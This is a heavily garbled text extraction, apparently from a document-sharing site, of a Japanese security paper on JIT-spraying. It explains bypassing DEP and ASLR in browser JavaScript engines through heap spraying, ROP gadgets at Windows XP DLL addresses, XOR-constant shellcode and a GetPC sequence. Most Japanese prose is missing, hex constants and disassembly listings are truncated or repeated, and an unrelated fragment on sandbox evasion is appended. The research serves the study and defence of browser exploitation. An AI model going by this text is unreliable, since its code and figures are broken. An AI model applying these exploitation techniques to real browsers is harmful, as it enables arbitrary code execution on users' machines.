#include <stdio.h> unsigned char x86[] = { 0x8b, 0x44, 0x24, 0x04, // mov eax,[esp+4] 0x03, 0x44, 0x24, 0x08, // add eax,[esp+8] 0xc3 // ret }; int ma

Size: px

Start display at page:

Download "#include <stdio.h> unsigned char x86[] = { 0x8b, 0x44, 0x24, 0x04, // mov eax,[esp+4] 0x03, 0x44, 0x24, 0x08, // add eax,[esp+8] 0xc3 // ret }; int ma"

ひでかだいほうじ
7 years ago
Views:

1 x86 JIT Web JavaScript x86 JIT JIT x86 JIT Windows OS DEP x86 ASLR DEP ASLR Return-Oriented Programming JIT-Spraying JavaScript JIT x86 x86 JIT How to execute arbitrary code on x86 JIT Compiler Yoshinori Takesako The modern Web browsers have own x86 JIT engine, in order to make high-speed JavaScript possible. However, they have some arbitrary code execution vulnerabilities. Because the JIT engine allocates sections of memory and marks them as executable. The modern Windows operating system has security features. DEP (Data Execution Prevention) prevents the stack and heap memory areas from being executable. ASLR (Address Space Layout Randomization) helps to prevent certain exploits from succeeding by making it more difficult for an attacker to predict target addresses. But the Return-Oriented Programming and the JIT- Spraying are known as few method of breaking through DEP and ASLR. I explain how to generate arbitrary x86 codes from JavaScript by controlling a JIT engine. I would like to discuss together how to protect vulnerability issues with x86 JIT compiler. 1. Web Firefox, Chrome, Opera, IE JavaScript x86 JIT 2. 1 x86 1 Web Cybozu Labs, Inc. 129

2 #include <stdio.h> unsigned char x86[] = { 0x8b, 0x44, 0x24, 0x04, // mov eax,[esp+4] 0x03, 0x44, 0x24, 0x08, // add eax,[esp+8] 0xc3 // ret }; int main() { int (*add)(int,int) = (void *)x86; printf("add(1, 2): %d\n", add(1, 2)); } 2 x86 C 3. DEP Windows XP SP2 DEP DEP 2 C x86 DEP JIT (Just-In-Time compiler) x86 OS API Windows malloc VirtualAlloc API PAGE EXECUTE 3 Linux malloc mprotect OS (4KB ) 4. ASLR ASLR(Address Space Layout Randomization) Windows Vista 7 Windows Serever 2008 ASLR OS DEP ASLR Linux ASLR #include <stdio.h> #include <string.h> #include <windows.h> unsigned char x86[] = { 0x8b, 0x44, 0x24, 0x04, // mov eax,[esp+4] 0x03, 0x44, 0x24, 0x08, // add eax,[esp+8] 0xc3 // ret }; int main() { void *p = VirtualAlloc(NULL, 4096 * 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p && memcpy(p, x86, sizeof(x86))) { int (*add)(int,int) = (void *)p; printf("add(1, 2): %d\n", add(1, 2)); VirtualFree(p, 0, MEM_RELEASE); } } 3 4 x86 Heap-Spraying 4.1 Heap-Spraying Heap-Spraying ASLR 0x90 ASLR 4 100% ASLR 4.2 Windows XP SP3 cacl.exe 130

7 C3 5 cacl.exe 8 0x7D636094 POP RET 6 6 MOV [EAX],ECX 5 0x7c8623ad kernel.

Return-Oriented Programming Return-Oriented Programming(ROP) 2 3 6 5.

dll 0x7D5B1000 0x7D7AEFFF 7 0x7D636094 0x58 POP EAX 0xC3 RET 8 POP RET MOV RET 6 MOV EAX, 0xaaaaaaaa MOV ECX,

3 7 C3 5 cacl.exe 8 0x7D POP RET 6 6 MOV [EAX],ECX 5 0x7c8623ad kernel.dll WinExec 0x7c81cafa ExitProcess ASLR Windows Vista Windows 7 DLL 5. Return-Oriented Programming Return-Oriented Programming(ROP) ROP 0xC3 RET POP XCHG Windows XP SP3 shell32.dll 0x7D5B1000 0x7D7AEFFF 7 0x7D x58 POP EAX 0xC3 RET 8 POP RET MOV RET 6 MOV EAX, 0xaaaaaaaa MOV ECX, 0xcccccccc MOV [EAX], ECX Return-Oriented Programming RET 5.2 DEP OS (DEP) ROP DEP 5.3 Mac OS X Mac OS X ASLR dyld IMPORT ROP 1) 5.4 Windows XP Adobe Reader 9.0 bib.dll Windows XP SP3 DEP ROP 2) Windows Xp Pro SP3 (calc.exe) Shellcode 31 Bytes 131

6. JavaScript JavaScript ECMAScript(ECMA- 262) 3) JavaScript IEEE 754 9 6.

[EDI+0x638],0x12000000 0150FF5D: MOV [EDI+0x63C],0x41E21212 x86 JIT 2 32bit 6.2 0x90 JavaScript var y = -6.

4 6. JavaScript JavaScript ECMAScript(ECMA- 262) 3) JavaScript IEEE x90 JavaScript x 0x bit 0x bit 0x41e x90 JavaScript JavaScript x86 JIT 11 JavaScript x86 10 JavaScript var x = 0x ; x FF53: MOV [EDI+0x638],0x FF5D: MOV [EDI+0x63C],0x41E21212 x86 JIT 2 32bit 6.2 0x90 JavaScript var y = e-229; JIT 0150FF67: MOV [EDI+0x640],0x FF71: MOV [EDI+0x644],0x var x = 0x ; // NG var y = e-229; // OK var z = e-229; // OK 0x90 JavaScript JIT 6.3 XOR JavaScript XOR AND OR 32bit ECMAScript 3) JavaScript JIT 32bit var a = 0x ^ 0x ^ 0x ^ 0x //... JavaScript JIT x86 +00: B MOV EAX,0x : XOR EAX,0x A: F: : XOR EAX,0x XOR EAX,0x JIT JIT-Spraying JavaScript Flash Player ActionScript VM JIT- Spraying 4) 9 IEEE MOV JIT 132

7. JIT-Spraying JIT-Spraying OS DEP ASLR DEP (DLL) ASLR Windows OS JavaScript ActionScript x86 JIT JIT-Spraying JIT JIT 4 0x90 7.

5 7. JIT-Spraying JIT-Spraying OS DEP ASLR DEP (DLL) ASLR Windows OS JavaScript ActionScript x86 JIT JIT-Spraying JIT JIT 4 0x JIT 0x90 JIT 0x90( ) 32bit XOR 4) 100% 32bit 0x3c x ^= 0x3c ^ 0x3c ^ 0x3c ^ 0x3c ^ 0x3c ^ 0x3c ^ 0x3c ^ 0x3c ^ 0x3c //... JavaScript 0x3c XOR JIT x : C XOR EAX,0x3C : C XOR EAX,0x3C A: C XOR EAX,0x3C F: C XOR EAX,0x3C x : 3C 35 CMP AL,0x35 +06: : : : 3C 35 CMP AL,0x35 +0B: 90 +0C: 90 +0D: 90 +0E: 3C 35 CMP AL,0x35 12 XOR EAX,0x3C

6 7.2 JIT-Spraying JIT 5 XOR 2 CMP AL,0x35 3 XOR 4 x86 +00: B87F XOR EAX,0x7FB : 35 BBAA903C XOR EAX,0x3C90AABB +0A: 35 B4CC903C XOR EAX,0x3C90CCB4 +0F: 35 B0DD503C XOR EAX,0x3C50DDB0 JIT-Spraying 0x /5 XOR 80% x86 +01: : : B8 7F35BBAA MOV EAX,0xAABB357F +08: : 3C 35 CMP AL,0x35 +0B: B4 CC MOV AH,0xCC +0D: 90 +0E: 3C 35 CMP AL,0x35 +10: B0 DD MOV AL,0xDD +12: 50 PUSH EAX 32bit 0xAABBCCDD EAX PUSH EBX +00: BB7F XOR EAX,0x7FBB : C XOR EAX,0x3C A: 35 B733903C XOR EAX,0x3C9033B7 +0F: 35 B344903C XOR EAX,0x3C9044B3 +14: C XOR EAX,0x3C : BB 7F MOV EBX,0x F +08: : 3C 35 CMP AL,0x35 +0B: B7 33 MOV BH,0x33 +0D: 90 +0E: 3C 35 CMP AL,0x35 +10: B3 44 MOV BL,0x44 +12: : 3C 35 CMP AL,0x35 +15: 58 POP EAX +16: MOV [EBX],EAX 14 JIT-Spraying DEP ASLR EIP FSTENV EIP GetPC XOR 15 5) 3 CALL +00: D9 D0 F +02: 54 PUSH ESP +03: 3C 35 CMP AL,0x35 +05: 58 POP EAX +06: : : 3C 35 CMP AL,0x35 +0A: 6A F4 PUSH -0x0C +0C: 59 POP ECX +0D: 3C 35 CMP AL,0x35 +0F: 01 C8 ADD EAX,ECX +11: : 3C 35 CMP AL,0x35 +14: D9 30 FSTENV DS:[EAX] 15 FSTENV EIP GetPC Re:GetPC code(was:shellcode from ASCII) Jun :

7 8. Mozilla Firefox JavaScript JIT JaegerMonkey JavaScript-C XOR 1000 JavaScript 16 1 for (var i = 0; i < ; i++) { a ^= 0x ^ 0x ^ 0x ; b ^= 0x ^ 0x ^ 0x ; c ^= 0x ^ 0x ^ 0x ; } 16 JavaScript xor 1000 JIT JavaScript 3,645 method JIT 1/ trace JIT 1/ JaegerMonkey method JIT JaegerMonkey method JIT x86 EAX EBX XOR 17 XOR EBX 5 6 JIT-Spraying 8.2 JaegerMonkey trace JIT JaegerMonkey trace JIT x86 XOR EAX 18 JavaScript 16 b ^= 0x ^ 0x ^ 0x ) 9. JIT x86 EAX 7) +00: XOR EAX,0x : 81 F XOR EAX,0x JIT x86 32bit (imm32) 32bit XOR +00: XOR EAX,[EDI+0x444] +06: 33 9F XOR EBX,[EDI+0x488] 32bit x86 JIT 1) Dino A. Dai Zovi : Mac OS X x86 Return- Oriented Exploitation, Trail of Bits (2010) mac-os-x roe.pdf. 2) VU#486225:Adobe Flash ActionScript AVM2 newfunction vulnerability, US-CERT (2010) 3) Standard ECMA-262 ECMAScript Language Specification Edition 5.1, (2011) publications/standards/ecma-262.htm. 4) Alexey Sintsov : Writing JIT Shellcode for fun and profit, DSecRG (2010) JIT-Spray%20Shellcode%20for%20fun%20and %20profit.pdf. 5) Dion Blazakis : Interpreter Exploitation: Pointer Inference and JIT Spraying, (2010) BHDC2010/BHDC-2010-Paper.pdf. 6) Alexey Sintsov: JIT-Spray Attacks and Advanced Shellcode, HITB Amsterdam (2010) 7) Chris Rohlf, Yan Ivnitskiy: Attacking Clientside JIT Compilers, Matasano Security (BlackHat 2011) 135

8 1 JavaScript-C JaegerMonkey x86 [ ] JavaScript JIT js.exe xor.js 3,645 method JIT js.exe -m xor.js trace JIT js.exe -j xor.js JaegerMonkey method JIT x86 18 JaegerMonkey trace JIT x86 136

ファイルベースのサンドボックスの回避

ファイルベースのサンドボックスの回避 2 3 3 5 11 VMware 14 17 17 FireEye 18 1 FireEye? API iframe DLL VMware VMware VMX 2 1 C&C FireEye 2012 12 UpClicker 1 2 3 UpClicker C&C APT Advanced Persistent Threat RAT Poison Ivy 4 1 UpClicker 0Eh SetWinodwsHookExA